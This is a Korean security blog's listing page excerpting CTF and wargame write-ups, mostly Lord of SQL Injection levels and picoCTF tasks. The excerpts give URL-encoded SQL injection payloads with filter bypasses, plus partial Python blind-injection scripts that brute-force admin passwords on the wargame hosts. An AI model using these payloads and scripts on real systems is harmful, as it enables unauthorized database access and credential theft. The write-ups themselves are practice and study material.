본문 바로가기

0x20 Security

[picoCTF] assembly-0 이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다. intel_syntax noprefix.bits 32.global asm0asm0:push ebpmov ebp,espmov eax,DWORD PTR [ebp+0x8]mov ebx,DWORD PTR [ebp+0xc]mov eax,ebxmov esp,ebppop ebpret ebp + 0x8 = argv[1]ebp + 0xc = argv[2] mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다. eax는 리턴값이다. 더보기
[picoCTF] admin panel 이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다. 수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다. POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다. 플래그를 얻을 수 있었다. 더보기
[picoCTF] A Simple Question 이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다. 먼저 길이는 아래의 쿼리로 가져올 수 있다. a' or length(answer)=5 -- - 코드를 작성하여 편하게 가져왔다. import requestsimport jsonlength = 0url = 'http://2018shell3.picoctf.com:2644/answer2.php';headers = {'User-Agent': 'Mozilla/5.0'}for i in range(1, 50):param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}rs = requests.post(url, data=param ,header.. 더보기
[LOS1] umaru 이 문제는 flag를 알아내면 되는 문제이다.허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다. $new_flag = substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16); ㅇㅇ;; update문을 에러를 띄워서 찾아내면 대는거시다.그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다. 하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다. 방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.sleep(0) 일 경우 select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.맞으면 sleep(3)이 되어 실행.. 더보기
[LOS1] black_eyes 이 문제는 if문이 막혀있었다.그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다. 이것을 이용해서 이전 문제와 비슷하게 풀어냈다. import requests url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"headers = {'User-Agent': 'Mozilla/5.0'}cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} '''?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-''' length = 0 for i.. 더보기
[LOS1] iron_golem 이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다. 그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다. select * from table where 1 and if(1=1,1,(select 1 union select 2)) select * from table where 1 and if(1=2,1,(select 1 union select 2)) 첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다. 두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고, 서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic) http://hackerschool.org/.. 더보기
[LOS1] dragon 이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 %0a가 있음을 깨달았다. ?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin 더보기
[LOS1] xavis 이 문제는 정말 좋은 경험을 했다고 생각한다. ?pw=1234%27%20or%20id=%27admin%27%20%20and%20length(pw)=40%23 40글자라고 해서 좀 놀랐다. 허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다. 유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다. 유니코드는 ord 함수를 이용하여 뽑아내었따 import requests url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"headers = {'User-Agent': 'Mozilla/5.0'}cookies = {'PHPSESSID':'2.. 더보기
[LOS1] nightmare 이 문제는 mysql 에서 문자열은 0이 된다. ?pw=%27)=0;%00 0=0은 true이기에 조건이 맞아서 출력이 댄다.SELECT 'a' = 0 — TRUESELECT 'abc' = 0 — TRUE SELECT '1' = 0 — FALSESELECT '123' = 0 — FALSE SELECT 'x1' = 0 — TRUE SELECT '1x' = 0 — FALSE SELECT '1x' = 1 — TRUE SELECT '12x1' = 0 — FALSESELECT '12x1' = 121 — FALSESELECT '12x1' = 12 — TRUE 더보기
[LOS1] succubus 이 문제는 싱글쿼터를 못 넣는다...허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다. 그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다. ?id=\&pw=%20||%201=1%20%23 더보기
[LOS1] zombie_assassin 이 문제는 싱글 쿼터를 사용못하게 막아두었다.하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다. ?id=%00%27%20%7C%7Cid="admin"%20%20%23 더보기
[LOS1] assessin like에는 % 정규식 비슷한게 있다. https://www.w3schools.com/sql/sql_like.asp 이 문제는 조금 당황스러운 문제였다.아무리해도 어드민이 뜨지 않는 것이다. 그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다. import requests url = "https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} strs = "8_" for i in range(8): for c in range(48,125):.. 더보기
[LOS1] giant 이 문제는 좀 신기했다.실제에서도 이런 일이 생기는걸까?무슨 의도가 있는지 나는 잘 모르겠다. 그냥 사이에 공백을 만들어줘서 풀었다. ?shit=%0b 더보기
[LOS1] bugbear 이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다. ?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8) ?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22) import requests url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} ''' .. 더보기
[LOS1] darkknight ?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208 ?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a” import requests headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} url = "https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php" ''' ?pw=1&no=1%20||%20id%20like%20%22admin%22%2.. 더보기
[LOS1] golem 이 문제는 pw 가 실제 pw와 같아야한다.이 역시 블라인드 인젝션으로 풀었다. ?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23 아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다. import requests url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'} ''' ?pw=1234%2.. 더보기
[LOS1] skelleton 아이디만 바꾸면 대는 문제였다. ?pw=1234%27%20or%20id=%27admin%27%20%23%20 더보기
[LOS1] vampire 사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다. 더보기
[LOS1] troll 입력한 값이 admin일 경우 hehe를 띄운다 대문자를 이용하여 풀면 댄다. 더보기
[LOS1] orge 이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다. 먼저 길이부터 파악했다. ?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20- 스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ; ?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20- 이 또한 스크립트가 랩실에 있다 ㅎ 아무튼 하나하나 뽑아서 풀었다. 더보기
[LOS1] darkelf 이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따 하지만 || 으로 대신하여 우회가 가능하다. ?pw=1234%27%20||%20id=%27admin%27%20%20%23 더보기
[LOS1] wolfman 이 문제는 아이디를 admin으로 바꾸면 된다. pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다. ?pw=123412312312%27%0dor%0did=%27admin%27%0d%23 더보기
[LOS1] orc pw가 실제 pw가 맞는지 체크한다.블라인드 인젝션 문제였다. 먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다 import requests url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php" headers = {'User-Agent': 'Mozilla/5.0'} cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'} for i in range(20): rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies) text = rs.t.. 더보기
[LOS1] goblin id를 어드민으로 만들면 댄다. and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다! ?no=1 로 주면 게스트라고 뿌려준다. 없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,! 싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다. ?no=112302130131290123||id=char(97,100,109,105,110) 더보기
[LOS1] cobolt 이번 문제는 id가 admin이여야 풀림 개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다. ?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20- 연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠand 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ왜 or 먼저 된다고 생각했는지 원... ?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20- 더보기
[LOS1] gremlin 이 문제는 아이디가 걍 로그인만 되면 풀림 ?id=hubeen&pw=1234%27%20or%201=1--%20- ' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~ 더보기
UPX Pakking Principle (UPP) UPX Pakking principle* UPX : 많고 많은 널리 사용되었던 실행 압축 프로그램 PE File : http://blog.hubeen.kr/306 실행압축?실행압축이란 실행가능한 파일(PE파일)을 대상으로 파일 압축하여 용량과 리소스파일을 보지 못하게 함.압축된 것을 푸는 방법은 파일 내에 압축해제 코드를 포함하고 있어서 실행되는 순간 메모리에서 압축을 해제시킨 후 실행된다. Analysis [ not pakking.exe Section ] [ pakking.exe Section ] 위의 이미지는 패킹된 프로그램과 패킹이 되지 않은 프로그램의 차이다.패킹이 된 프로그램의 크기는 8.00KB에서 6.5KB로 줄어든 것을 볼 수 있으며,섹션 또한 압축되어 있음을 알 수 있다. PE File의.. 더보기
ssh config 파일을 설정해보자! 오늘 작성할 내용은 ssh config 파일을 설정하여 서버 정보와 유저정보를 적어두면 따로 유저@주소를 적으며 접속을 하지 않아도 되게 되는 매@직!매우 편리한 기능이라 할 수 있다. alias에 명령어를 등록해가며 사용하셨다면 그 동안 뻘짓을 하였구나 라고 생각할 수 있을 정도입니다! 먼저 위의 경로로 이동을 해봅시다! .ssh 폴더는 한번이라도 ssh 접속을 하였다면 known_hosts 라는 파일에 서버의 rsa키 같은 것들이 저장이 됩니다. 이 곳에 config 파일을 생성하면 편하게 접속이 되게 됩니다! Host 이름 HostName 서버의 아이피 User 계정명 #IdentityFile 인증서의 경로 #Port 포트 (기본 값은 22) 로 간편하게 등록하고 간편하게 접속이 가능합니다.인증서라.. 더보기
[Pwnable.kr] passcode - 10 pt 보호되어 있는 글입니다. 더보기
[Pwnable.kr] fsb - 20 pt 보호되어 있는 글입니다. 더보기